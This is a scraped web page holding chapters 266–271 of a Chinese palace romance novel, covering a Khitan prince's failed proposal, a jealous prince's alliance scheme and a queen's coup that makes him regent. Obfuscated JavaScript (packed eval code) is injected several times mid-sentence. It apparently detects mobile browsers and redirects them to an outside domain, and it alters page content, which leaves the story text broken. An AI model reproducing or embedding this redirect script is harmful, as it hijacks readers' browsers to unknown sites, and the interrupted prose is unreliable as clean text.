“她敢生出那些肮脏心思,敢动那样的念头,如今只是断了双手,没要了她的命,已经是我给南国留了最大的余地。” 秦时月坐在那里,眉眼间闪过一丝笑意。 这就是她心爱的男子,为了她,可以豁出一切。 “断她双手是警告,也是提醒,我的人,不是谁都能碰的,我没有杀了她就已经算是给南国面子了!” 他放在心尖尖上的珍宝,碰都舍不得碰一下的人,只要她一双手,便宜她了! 宋墨辰语气平淡,却带着一种与生俱来的霸气。 仿佛无论什么事,到了他这里,都能这般举重若轻。 秦时月静静地看着他,内心划过一丝暖流。 察觉到她的视线,宋墨辰奇怪地问了一句,“怎么了,我脸上有什么东西吗?” “没。”秦时月连忙摇头,“就是感觉,有你真好。” 闻言,宋墨辰低叹一声,“月月,有我在,以后不必自己动手布局。” 他的声音中带着一丝不易察觉的心疼,“有我在,谁也动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16119201|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了你。” 对此,秦时月只是笑笑,并没有回应。 世事无常,以后的事情,谁又能说的准呢。 就在这时,小荷的声音从车外传进来,声音利透着一丝焦急。 “怎么了?” “小姐,是耶律六皇子……来了。”小荷扭头看着拦在马车前,跨坐在骏马上,丰神俊朗的男子,有些无奈。 如今王爷还在马车上,他这个时候出现,不是故意给她家小姐找不痛快吗? 听到这话,宋墨辰当即有些生气,“他来做什么!” 秦时月笑了一下,故意逗他,“怎么,就只许你翻墙,不许别人拦车?” 不等宋墨辰说话,耶律良才已经跳下马,徒步走近。 秦时月知道此面躲不过,安抚性的给宋墨辰投去一个眼神,然后掀开车帘跳下马车,“六皇子?别来无恙。” 耶律良才的目光在她脸上停了停,然后看向她身旁的宋墨辰。 察觉到耶律良才的视线,宋墨辰冷脸跳下马车,故意往秦时月身边凑了凑,与耶律良才对视。 “别来无恙,几日不见,月月可想过我?” 契丹内乱,这段日子他回了契丹一趟,一回来就听说出了几件大事,他忍不到第二日见她,派人打探到她的位置,这就迫不及待的追了过来。 “慎言。”宋墨辰危险的半眯着眼,瞪着他。 早知耶律良才要回京,他就应该派人在路上把人拦下! 宋墨辰挡在秦时月身侧,低头对她道:“方才不是说风大?要不还是回车上吧。” 这话说得自然,却明晃晃地带着宣示**的意味。 秦时月侧头,无奈看了宋墨辰一眼,不由得轻轻叹了口气,然后回眸看向耶律良才,“六皇子一路奔波,该先回府歇息才是,有什么事,改日再说也不迟。” 她虽然没有刻意关注耶律良才的事,但契丹的事早就传入了京城,他的消失,必然跟此事有关。 况且,她身边还有个爱吃醋的王爷,她可不敢和耶律良才接触太多。 第266章 契丹大乱 耶律良才却像是没听见她的话,目光始终放在她的脸上。 “有些事,等不得。”耶律良才顿了顿,“秦小姐,我想单独跟你说几句话,辰王该不是对自己不自信,连这样的机会都不敢给吧。” “不自信?”宋墨于抬眼看向耶律良才,眼中充满杀意,“六皇子不用激将,月月是本王的未婚妻,她的事便是本王的事,有什么话是不能当着本王的面说的?” 说着,他一把将秦时月揽入了怀里。 “是与秦小姐相关的私事。”耶律良才迎上他的目光,毫不退让,“辰王殿下,凡事总该有个分寸。” “你也配。”宋墨辰冷笑一声往前走了一步,“在本王的地盘上,对着本王的未婚妻说要单独谈话,你是想死不成?” “宋墨辰!”耶律良才的声音也沉了下来,“我今日不是来与你争执的。” “你也配。”宋墨辰挑眉,寸步不让,主动牵起了秦时月的手,“月月,我们走。” 秦时月并没有抬脚,而是挣脱了宋墨辰的手。 她抬起头,正好对上宋墨辰不敢置信又受伤的眼神,“你……” 她叹了口气,安抚道:“我就在这和他说几句话,有些事,总是要有个了断的。” 话落,眼神示意他回避一下。 耶律良才这么着急赶回京,并且还要和她单独说话,一定是契丹那边的事太大,甚至超出了他们的想象。 既如此,她就不能回避。 掌握契丹内部的一手状况,对他们接下来的计划是必不可少的。 “我不同意。”宋墨辰冷哼一声,眼神暴虐,显然是生气了。 “信我。”秦时月拍了拍他的手背,让他安心。 这一刻,纵使他心里有万般不愿,却什么话都说不出来了,良久,他才从齿缝里挤出一句:“我就在这里等着。” 闻言,耶律良才松了口气,对秦时月做了个“请”的手势,示意她往旁边的凉亭走。 秦时月点点头,跟着耶律良才往凉亭走去。 凉亭下,耶律良才停下脚步,看着她,突然不知该从何处开口。 “有什么话,六皇子可以说了。”秦时月远远看着直勾勾盯着这边的宋墨辰,勾唇笑道。 “你可知,契丹那边,出了些变故。” “变故?”秦时月疑惑,转过身,对上耶律良才的视线。 “嗯,变故。” 这些天,他一直在契丹那边处理内斗的事情,好不容易得闲,马不停蹄的连夜赶了回来,只为见她一面。 他对她思念得紧,若不是契丹那边需要他,他定然是不可能离开的。 听到这话,秦时月有些发愣,她淡淡地看向耶律良才,眉眼间竟然有些紧张。 虽然她不喜欢耶律良才,但他帮了她很多,心中,或许早就把他当作了朋友。 只是她知道,这个朋友太过危险,不能深交…… 多日不见,耶律良才明显沧桑了许多,加上他方才的话,想来是契丹的变故太过严重。 凉亭下的风带着些许潮气,吹得人肌肤微凉。 耶律良才脸色有些白,虽然他没有任何表示,但他不经意的动作,逃不过她这个医者的眼睛,他的腹部,恐怕带着伤…… 不等秦时月开口,他先低低笑了一声,“方才有宋墨辰在,没敢细看,你好像瘦了,这些日子过得不好?” 虽然他不在京城,但是京城的探子将秦时月的消息全部告知了他。 所以,他知道她的一切,包括今日的事,他只恨自己这段时间没有陪在她身边…… 秦时月收回视线,“挺好的,倒是六皇子,看着像是熬了好几夜,还有,你的伤……” 耶律良才像是才想起这回事,抬手捂住腹部,轻描淡写道:“不碍事。” 她挑挑眉,不过,没有多问,他们之间,还是要保持距离的好。 “秦大夫可以帮我处理伤口吗?”耶律良才眼看她不关心,攥攥拳,不甘心的开口,“先前都是秦大夫帮我处理的。” 闻言,秦时月翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124369|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个白眼,冷言道:“你要是想处理,就去医馆找大夫。” 察觉到她动了气,耶律良才撇撇嘴,立即转移话题,“我急着来见你,是要和你说。” “契丹乱了。”他的目光飘向远处,“我那位王叔,借着我父亲病重的由头,拉拢了几个老臣,想趁机**,我收到消息时,他已经带兵围了王帐,连我母亲都被他软禁了。” 秦时月心头一震。 她虽知晓契丹关系复杂,却没想到竟乱到了这个地步。 耶律良才的父亲是契丹王,按说他身为嫡子,继位本是顺理成章,竟还有人敢在这个时候叛乱。 “那你……” 其实秦时月想问耶律良才如何脱身的,但话到嘴边又咽了回去。 “王叔以为我远在天边,鞭长莫及,却没想到我连夜带着人抄了近路,绕到了他后方的粮草营。” “我烧了他的粮草,断了他的后路,那些跟着他叛乱的人自然就慌了。”耶律良才笑了笑,“我母亲趁机联络了几个忠心的老臣,里应外合,总算是把他拿下了。” “那你父亲呢?” “父王身子本就不好,经此一事,更是缠绵病榻,连话都说不清了。”耶律良才的声音低了下去,“契丹不能没有主心骨,这些日子,我一直在处理王叔留下的烂摊子,清点粮草,安抚各部族的人。” 秦时月静静地听着,没说话。 她知道耶律良才只是看起来洒脱,心里的压力,不比她和宋墨辰少。 “好不容易把事情理顺了些,能喘口气了,我第一时间就想回来。”耶律良才转过头,“想早点见到你。” 他的眼神太过直白,带着毫不掩饰的爱意。 生死攸关的那一刻,他脑海里唯一浮现的,是她烂漫的笑脸。 所以,即便拼着一死,他还是挣扎着活了下来。 秦时月心中一滞,不由得避开了他太过灼热的视线。 她不喜欢耶律良才,所以,不论他的心意是真是假,都不可能给他希望。 第267章 挣扎求生,只为见她 “六皇子不必如此急切。” “我想着,只要能见到你,就好了。”耶律良才往前走了一步,深情地注视着秦时月。 秦时月抬眸,想要和他说清楚。 但当她看到耶律良才脸色越发苍白,眉头也不由自主的皱在一起,大手不由自主的覆在腹部后,忍不住问道:“是不是伤口裂开了?让我看看。” “看来,秦小姐还是担心我的。”耶律良才笑了一下。 她的手顿在半空,皱皱眉,随即收了回来,“六皇子说笑了,只是见不得伤口处理不当发炎罢了,我毕竟是医者,见到有人受伤总会多留意些。” “是吗?”耶律良才挑眉,语气里带着点戏谑,“可我怎么觉得,你刚才的样子,分明是在担心我?” “六皇子想多了,如果这个误会能让你开心一点,那就当作是我在担心吧。”秦时月没再解释。 她确实不担心他,他们之间,说到底只是普通朋友,远没到牵肠挂肚的地步。 可她知道,耶律良才在契丹经历了那样凶险的内乱,九死一生才回来,若是这点误会能让他心里好受些,何乐而不为呢? “那我就当作你紧张我,心里有我。”耶律良才故意说道,并往秦时月的身旁走了一步。 秦时月依旧没接话,反而说道:“还是说说契丹的情况吧。” 他收敛了玩笑的神色,“王叔已经被废黜了爵位,圈禁起来了,他的几个心腹也都处置了,至于其他部族,我许了他们些好处,暂时是安稳了。” “不过父亲的身体怕是撑不了多久了。”耶律良才的声音低了下去,“族里的老臣已经**,让我回去继任契丹王。” “什么?”秦时月猛地抬眼看向他,满脸的震惊,“继任契丹王?这么快?” 她一直以为,耶律良才这次回来,至少能在京城待上些时日。 却没想到,他竟要回去继位了。 这意味着,契丹的局势要发生翻天覆地的变化。 契丹的局势改变,那京城呢?是不是也很快就要变了。 “不快不行啊。”耶律良才苦笑了一下,“若是我迟迟不回去,怕是又要生乱子。” 秦时月怔怔地看着他,一时说不出话来。 京城局势瞬息万变,她必须做好应对的办法。 “所以,你这次回来,就是为了,见我一面?”秦时月的语气里带着点复杂。 “我一早就说了,我回来只是为了见你。”耶律良才看着她。 秦时月哪里知道,契丹的内乱,比她能想到的要惨烈上数十倍。 耶律良才低头瞥了眼自己的手背,那里还有块没褪尽的青黑,是当时**留下的,那时他在先,不能就这么**,**就再也见不到她了。 这点念想象是根救命的绳,让他活了下来。 腹部的伤更重,是他连日作战,体力不支的情况下,被叛军的刀扫到的,当时血流如注,几乎要了他半条命。 他这趟回京,就像是把后背亮给了敌人,如果不能尽快赶回去,契丹怕是就要落到他人之手。 可耶律良才想秦时月想得紧,管不了那么多,脑子里只有一个念头那就是见她一面。 “怎么了?”秦时月见他忽然沉默,不由得开口问道。 他猛地回神,掩去眼底的复杂,扯出笑意,“没什么,只是想着,这一回去,怕是很久都不能来京城了,往后,怕是连见你一面都难了。” 说完,他将视线郑重地放到秦时月身上,语气严肃,“秦时月……” 他欲言又止,似乎是有什么重要的事情要和她说。 见状,她皱皱眉,眼神难得凝重起来,“六皇子有话直说。” 平日里的耶律良才可不像今日这般别别扭扭。 “秦时月,你,可以和我回契丹吗?” 听到这话,秦时月愣了一下,随即抬眼,眼中没有半分情绪,“六皇子说什么胡话,这并不好笑。” “我不是在说胡话。”他往前凑了半步,“契丹的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他看着她,看了很久,最终,艰涩问道:“所以,在你心里,我连让你犹豫一下的分量都没有?” 秦时月没立刻回答,其实她想说,他们之间本就没到能让她犹豫的地步。 毕竟,她从来没有喜欢过他。 第268章 醋包又生气了 可看到耶律良才如今的模样,秦时月却怎样也说不出口。 叹口气,她放缓了声调,“六皇子是契丹未来的王,身份尊贵,自然有更适合你的女子,不必在我身上浪费心思。” “更适合我的女子?”耶律良才忽然低笑了一声,“可我偏偏就想在你身上浪费心思,怎么办?” 他往前又挪了半步,两人之间的距离更近了,他的眼神里翻涌着复杂的情绪,有不甘,有失落。 “我在契丹九死一生的时候,脑子里想的全是你。” “六皇子,我们只是朋友,我对你没有男女之情,我不喜欢你,更不会嫁给你。”秦时月不想他误会,终究还是将这话说了出来。 耶律良才踉跄着往后退了半步,后背重重撞在柱子上,腹部的伤口大概是被震到了,疼得他眼前发黑,腹部的衣服更是迅速被鲜血染红。 他闭了闭眼,再睁开时,眼底的情绪已经被压了下去,“小没良心的,你倒是直接,就是骗,都不愿骗一骗。” “六皇子是聪明人,该知道什么叫适可而止。” “可我要是,偏不呢?” 秦时月没接话,只是静静地看着他。 过了许久,耶律良才像是耗尽了所有力气似的,露出一副痞笑的样子,“你若是什么时候改变了心思,只需要派人给我送封信,我必然**红妆,亲自来迎娶你。” 不等秦时月说话,她的手腕忽然被人攥住,随即落入一个熟悉的怀抱。 宋墨辰不知何时站在秦时月身后,将她整个人护在怀里。 他看着耶律良才,面上似笑非笑,眼底却透着浓厚的占有和警告,“六皇子的话,说完了?” 耶律良才抬眼,扯了扯嘴角,“辰王殿下倒是来得巧。” “本王的未婚妻与人独处这么久,再不来,怕是有人要忘了自己的身份。”宋墨辰收紧了手臂,将秦时月往怀里带了带,“方才本王在外听得清楚,六皇子这是,想请月月去契丹做王后?” 他像是听到了什么天大的笑话,低低笑了一声,“六皇子怕是忘了,月月是本王的未婚妻,除了那道圣旨,三媒六聘早已备妥,只等吉日行礼。” 闻言,耶律良才的脸色沉了沉,“辰王殿下不必咄咄逼人,我与秦小姐说话,与你无关。” “与本王无关?”宋墨辰挑眉,“你当着本王的面挖本王的墙角,还说与本王无关?耶律良才,你是觉得本王脾气太好,还是觉得契丹太偏,本王奈何不了你!?” 他往前一步,两人之间瞬间剑拔**张。 “辰王,你们如今还没成婚,我与她的事还轮不到你来插手。”耶律良才攥紧拳头,寸步不让。 宋墨辰低头,看了眼怀里安静靠着的秦时月,语调委屈,“月月,你说,轮得到吗?” 秦时月能感觉到宋墨辰手臂的微紧,知道他委屈的面具下,是真动了气。 “六皇子,墨辰说得对,我的心意不会改变。”秦时月在心里叹口气,拍了拍宋墨辰的手背,让他冷静一点。 耶律良才看着两人熟若无人的样子,心口一阵酸涩。 他张了张嘴想说些什么,却最终没发出一个声音。 宋墨辰满意地收回目光,重新看向耶律良才,“我劝你趁早**那份不该有的心思,安安分分做你的契丹王,否则,别怪本王不顾及两国颜面。” “既然时月选择了你,请你好好对她。”耶律良才松开拳,苦笑了下。 “不用你管,还有,时月的名字不是你能唤的。” 说完,宋墨辰没再看耶律良才一眼,拥着秦时月转身就走。 直到两人的身影消失在凉亭尽头,耶律良才才缓缓靠身后的柱子上,抬手捂住了心口。 若是他早一步认识秦时月呢? 是不是,一切都会不一样…… 可是哪有那么多或许,宋墨辰已经出现了。 是他出现得晚了。 在他出现时,宋墨辰就已经进入了秦时月心里。 “殿下。” 耶律良才没有回头,“都处理好了?” 他换上另一副表情,眉宇间是阴鸷,是孤注一掷。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135095|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是,马已备好,在凉亭外等着了。”侍卫应声。 “知道了,走吧。”耶律良才转身往外走。 这里,已经没有他留恋的人了…… 不远处的大树下立着一匹黑色骏马,马鞍上挂着耶律良才的弯刀。 他翻身上马,骏马载着他出了城门,往契丹的方向飞奔而去。 身后的京城越来越远,耶律良才看着前方茫茫的旷野,不曾回头。 从这一刻起,他是契丹的王,再不能回头。 但他的心,却因为一人,留在了京城。 宋墨辰牵着秦时月的手,不由分说的将她拽到了马车上。 一路上,他表情严肃一言不发,整个人透露着生人勿近的寒冷。 秦时月察觉出他的异样,一路上不敢反抗,上了马车,才挣脱开,搓揉着刺痛的手腕看他,“你怎么了?” 宋墨辰眼尾泛红,抓起她的手腕,一把将其举过她的头顶,将她困在自己和马车壁之间,逼她抬眸看自己。 “他刚刚碰到你了。”他声音沙哑,在陈述。 这话直白,配合上他猩红的眼眶,委屈又强忍怒意的表情,秦时月不由的愣了一下。 “不过是情急之下碰了一下,你竟瞧得那么仔细。”秦时月有点心虚,笑着不敢回视。 看来,刚刚自己和耶律良才说话时,他一直盯着自己。 “何止瞧得仔细。”宋墨辰抵上她的额头,眼睛牢牢锁定她嫣红的唇瓣,“他说九死一生时念着你,还说要**红妆来迎娶你,我都听到了!” 正因为听到了这话,宋墨辰才控制不住自己的脾气,上前将她带了回来。 没人知道,那一刻,他恨不得一刀砍了耶律良才那个狗东西,然后,将他的月月囚禁起来,只给他一人看…… 他向来对任何人任何事提不起兴趣,也从不是什么疯癫易怒的人,可一对上秦时月的事,他就不是他了。 “我已经拒绝他了。”秦时月皱皱眉,心跳有些乱了节奏,“我不喜欢他,不可能和他走的。” 第269章 谋略,目的:契丹 她从没见过这样的他,像是锁定猎物的野兽,让她不由自主的感到恐惧。 “你方才对他说,喜欢我……” 闻言,秦时月愣了一下,良久才反应过来他话里的意思。 她笑了笑,仰头看着他,故意问道:“你说呢?” 宋墨辰却不肯放过她,再次逼近,鼻头都贴到了一起,她的呼吸,全被他吞入腹中,“我要听你说!” 他声音暗哑,藏着快要压抑不住的强势欲念。 马车再次上路,颠簸中,秦时月深吸一口气,双手突然用力,直接挣脱开他的束缚,反手搂住了他的脖子,“我的心意,没有变过,我会成为你的王妃,也只会是你的王妃。” 听到这话,宋墨辰嘴角上扬,他没说话,只伸手将她鬓边被风吹乱的碎发别到耳后。 “方才看他撞在柱子上,脸色很不好。”秦时月忽然转了话头,“想来契丹内乱初定,他这王位坐得未必安稳。” 她的呼吸有些不稳,但重生后,她学会了克制、伪装,话头一转,他倒是没发现什么。 “内乱?”宋墨辰疑惑。 他离得远,并没有听清他们之间的对话。 “对,耶律良才说,契丹发生了内乱,想来是很严重的,他会成为契丹的新王。”秦时月皱皱眉,似在思索,“毕竟是一方新王,内里的难处,怕是比我们瞧见得多。” 宋墨辰却忽然伸手,握住她的手腕,力道不重,却带着点宣示**的意味,“你倒是替他想得周全。” 话里是藏不住醋意。 秦时月忍不住笑,“不过是随口一提,你又多心了。” “我不多心,难道看着别人把你从我身边抢去?”宋墨辰低下头,严肃地说道:“月月,你是我的。” “你……”秦时月深吸一口气,回答,“我与他,从来都只是朋友,过去是,现在是,将来夜不会变。” “我的心里,自始至终,只有你一个人。” 话刚说完,宋墨辰猛地张开手臂,拥她再次拥入怀里,“我知道。” 他只是,需要不断确定,因为,她实在是太优秀了,优秀到,他一个嫡出战神王爷,都没信心。 过了好一会儿,他才慢慢松开她,“往后,离他远些。我怕我会忍不住。” 秦时月知道他指的是什么,俏脸一红,点了点头,“好。” 有些话,不必说尽。 有些心意,彼此知晓便好。 宋墨辰满意地牵着秦时月的手,揽着她坐在车座上。 不多时,将人送回了侯府。 辰王府。 “来人。” 一回府,宋墨辰眼神危险的开口。 侍书立即上前,“殿下。” “备一份厚礼,挑几名精于布防的士兵,明日一早启程去契丹。”宋墨辰声音里听不出太多情绪,“告诉耶律良才,那些人任他调动,就说是本王感念旧情,略尽绵薄之力,助他坐稳王位。” 侍书微怔,随即低头应道:“属下遵命。” 耶律良才能在乱局中胜出,绝非庸碌之辈,但他根基太浅,那些支持他上位的部族,看似归顺,实则各怀心思,没有外力支撑,不出半年,必生祸乱。 想来方才月月跟他提起那件事,也是有此担心,正好宋墨辰对契丹志在必得,此时出手帮耶律良才,也是在帮他自己。 “派去的人,要会做事,更要会看事,任何事都要禀报回来。”宋墨辰不紧不慢地说了一句。 “殿下是想借机控制契丹?”侍书疑惑道。 “本王要的不是一个敌对的契丹王,是一个能与我同声共气的盟友。”宋墨辰冷哼一声,“他现在最缺的是底气,本王就给他这份底气。” 他出手对付了祝玲珑,短时间内,恐怕很难再争取和南国的合作,若是能和耶律良才达成统一阵线,说不定对他的计划会有更大的帮助。 耶律良才欠了他这份情,往后必然会仔细斟酌。 侍书躬身道:“属下明白了。” “还有,五千石粮草,两百副上好的伤药,再备些锻造精良的兵器,一并送过去。告诉他,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135096|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些不是白给的,等他站稳了脚跟,就得给我还回来。” 既给了恩惠,又明了规矩,如此才不会让对方觉得是施舍,也断了对方恃宠而骄的念头。 “是!”侍书应声退下。 宋墨辰站在书案前,透过窗户看向契丹的方向。 耶律良才是个聪明人,该懂这份厚礼背后的分量。 …… 亥时已过,养心殿内的烛火却亮得辉煌。 皇上靠在软枕上,无力地看着书案上堆积的奏章。 这些奏章大多是关于立储的。 他猛地将奏折甩在地上,喘着粗气大骂,“废物!都是废物!” 耶律良才走了,他花了那么长时间埋下的棋子,还特意给了让他和宋墨辰争抢秦时月的机会,结果他竟然一声不吭地离开了京城! 还有祝玲珑,他原以为让她住进辰王府,即便拿不下宋墨辰,搅乱辰王府,也能挑拨宋墨辰和秦时月的关系,让他们分道扬镳,可如今,不仅一事无成,还被砍断了双手! 两个最关键的棋子,竟在短短一月内相继折损,他筹谋多日的局,就这样失败了! 该死,宋墨辰为什么还不**! “皇上?”太监轻手轻脚地走了进来,见地上散落的奏折,慌忙跪下去拾,“夜深了,龙体要紧,您歇会儿吧。” “歇?”皇上冷笑一声,“朕怎么歇?你去告诉那些天天喊着立储的,朕还没死呢!” 太监不敢接话,只将拾好的奏折放在案边,又端过参汤,看向皇上。 “陛下,喝口参汤暖暖吧,太医说您这几日气火攻心,得静养。” 皇帝一气之下,挥手打翻了汤碗,“等朕静好了,这江山是不是都要换人了!”他死死盯着太监,“你说,是不是宋墨辰!是不是他在背后搞鬼!” 闻言,太监吓得趴在地上,连声道:“奴才不敢妄议!” “除了他,还有谁那么大胆!”皇上猛烈地咳嗽起来,“他早就看透了朕的心思,却装得一无所知,这小子的心机,真深啊!” 第270章 变天,宋墨辰监国 他越说越激动,忽然眼前一黑,身子猛地往榻下滑。 太监惊叫着扑上去扶住他,“陛下!陛下您醒醒!传太医!快传太医!” 一时间,养心殿乱成一团。 没过多时,太医提着药箱慌忙地赶了过来。 太医跪在榻前诊脉,手指刚搭上皇上的腕子,脸色就变了。 “皇上,皇上是急火攻心,郁结于胸,须得静养,万不能再动气了。” “滚,都给朕滚!”皇帝刚睁眼,听到这话,气得一脚踹翻太医。 可下一秒,他只觉得脑袋嗡的一声,再次晕了过去。 就在这时,养心殿外传来了皇后娘娘的声音。 方才,她听到宫女传来皇帝昏迷的消息后,顾不上梳洗打扮,特意让御膳房炖了一盅燕窝,亲自送过来。 见皇后进来,江福德忙跪下行礼,“奴才给皇后娘娘请安。” “皇上怎么样了?”皇后的声音里没有什么情绪,但是眼眶泛红,面上全是担忧。 “刚刚昏过去了,太医刚瞧过,说是……不太好。”江福德小声回答,语气里透着浓浓的担忧。 皇后红着眼眶走到榻边,放下食盒伸手探了探皇上的额头。 “这里有本宫看着,你去让首辅大人和其余老臣在宫外候着,若有急事,也好有个商议。”皇后吩咐道。 闻言,江福德一愣,“深夜传召大臣……怕是不合规矩。” “规矩?”皇后侧目看他,眼睛微眯,眼神里没什么温度,“皇上昏迷不醒,难道要等天亮了,让外臣们猜来猜去,生出更多是非?你只管去,出了什么事,本宫担着!” 江福德不敢再多嘴,慌忙应声去了。 如今朝堂上都是辰王的人,后宫也都在皇后掌控,他即便身为总管太监,也什么都做不了…… 众人退下后,皇后坐在榻边的凳子上,看着床上的皇帝,忽然轻轻笑了一声。 呵,看来,她用的东西,起效了。 她守了约莫一个时辰,皇上才悠悠转醒。 “水……” 皇后亲自倒了杯温水,用小勺喂他喝下。 几勺水入喉,皇上才缓过些神,看清是她,眼神里闪过一丝戒备,“你怎么在这儿?” “臣妾听说皇上不适,过来看看。”皇后语气平淡,“太医说您得静养,不能再劳神了。” 皇上扯了扯嘴角,想说什么,却被自己剧烈的咳嗽声打断。 “方才臣妾已经让太监去请了首辅大人,您如今病着,朝中的事总不能耽搁。” 听到这话,皇上猛地睁大眼睛,挣扎着要坐起来,“你传了大臣!?” “您想想,立储的折子堆了半案,契丹那边又刚出了事,若是没个章程,朝臣们该慌了,您现在动不了气,不如让大臣们先议着,等您好些了,再做决断。”皇后故意说道。 皇帝看着皇后平静的脸,心顿时沉了下去。 “陛下,你说,谁能替您暂理朝政呢?”皇后眉梢微挑,语气淡漠。 闻言,皇上不由自主的攥紧了被子。 贱妇是来逼宫的! 可他现在躺在榻上,连抬手的力气都没有。 不行,不能让皇后得逞,如果江山落到皇后母子手里,那便,再也没有回还的余地了! 紧接着,皇帝用尽全身力气,对屋外喊道:“传……传朕的旨意。” 可半晌,外间没有一点回应,就连时时刻刻守在自己身边的江福德,都没有回话。 他一颗心顿时凉了半截,也知道,有些事,他,已经做不得主了。 “陛下龙体欠佳,还是早做打算的好。辰王虽然资历尚浅,但关键时候,还是能帮陛下分忧的,陛下,下旨吧。” 皇后端起一旁的新茶,淡漠道。 “你!”皇上被气的胸口憋闷,但他也知道,此时,不是硬碰硬的时候。 他攥紧拳咬紧牙关,忽的松开了紧皱的眉头,“传朕旨意,命辰王宋墨辰暂代监国之职,处理朝政……” 他不是储君,即便监国,也只是暂时的,只要自己的身体好起来,他随时能收回权利! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135097|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这话,皇后微微勾唇,“陛下圣明,那,臣妾就不耽搁陛下养病了,望陛下早日康复。” 说完,皇后款款起身,挥挥衣袖,转身走了出去。 走到殿门口,皇后回头看了眼紧闭的殿门,转头看了看头顶渐亮的天色,轻轻拢了拢衣袖。 她与皇帝年少夫妻,皇帝懂她,她也懂皇帝。 他自认为这些事还没脱离他的掌控,实则,退位,只是时间问题。 清晨,太监拿着拟好的圣旨,对殿外候着的大臣们颁发旨意。 宋墨辰接到圣旨时,脸上并没有什么情绪,有的是让人看不透的平静。 这一天,终于来了。 另一头,长乐侯被召进宫,回来时脸上的震惊之色一直不曾褪下。 秦时月好奇,派人去打听了一下,这才得知,皇上重病,命令宋墨辰监国。 原本她还在为宋墨辰担心,打算去辰王府看看他,不曾想,今日还没结束,宋墨辰便派人送了封信给她,邀请她去湖上画舫一叙。 傍晚时分,宋墨辰已在舫上候着。 他今日穿一身白色锦袍,连玉带都换了素银的,他站在那里,芝兰玉树,却与往日的霸道不同,像是寻常世家公子,少了些朝堂上的凌厉,战场上的杀伐果断。 “来了,冷不冷?”宋墨辰伸出手,牵着她走进船舱。 “还好。”她被他牵着手往里走,嘴角带笑。 船舱内的桌上摆着几碟精致点心,一壶温热的梅子酒。 画舫缓缓驶离岸边,秦时月靠窗坐下,看着窗外的景色,不由得感叹,“你倒是会选时候,这时候游湖,倒是清静。” “清净些好。”宋墨辰给她斟了杯酒,推到她面前,“白日里被琐事缠着,难得有闲时。” 他说的琐事,自然是指监国的差事。 秦时月端起酒杯抿了一口,酒液入喉,辣味不大,自带一股果味清甜。 “这几日辛苦你了。” 宋墨辰抬眼看她,“在你面前,不说这些,你只说,今日的湖景好不好?” 第271章 搞事搞事 窗外的夜湖确实美得很,远处的画舫挂着零星灯火,笙歌隐约传来,衬得他们这船愈发安静。 “好。”秦时月点头。 景好,人也好…… 就在这时,她想起从长乐侯那边偷听到的话,虽然皇帝并未明说立储,但他让宋墨辰监国,按理,应要搬入东宫暂住。 “你要搬进东宫吗?” 闻言,宋墨辰握着酒杯的手顿了顿,“东宫是储君居所,眼下皇上还在病中,提这个,不合时宜。” 秦时月了然的点点头,没再说话。 她知道,只要宋墨辰想,他伸手就能拿到那个位置,坐上权力巅峰。 见她不说话,宋墨辰笑了一下,“他们想要的是储君之位,是龙椅上的权力,可……” 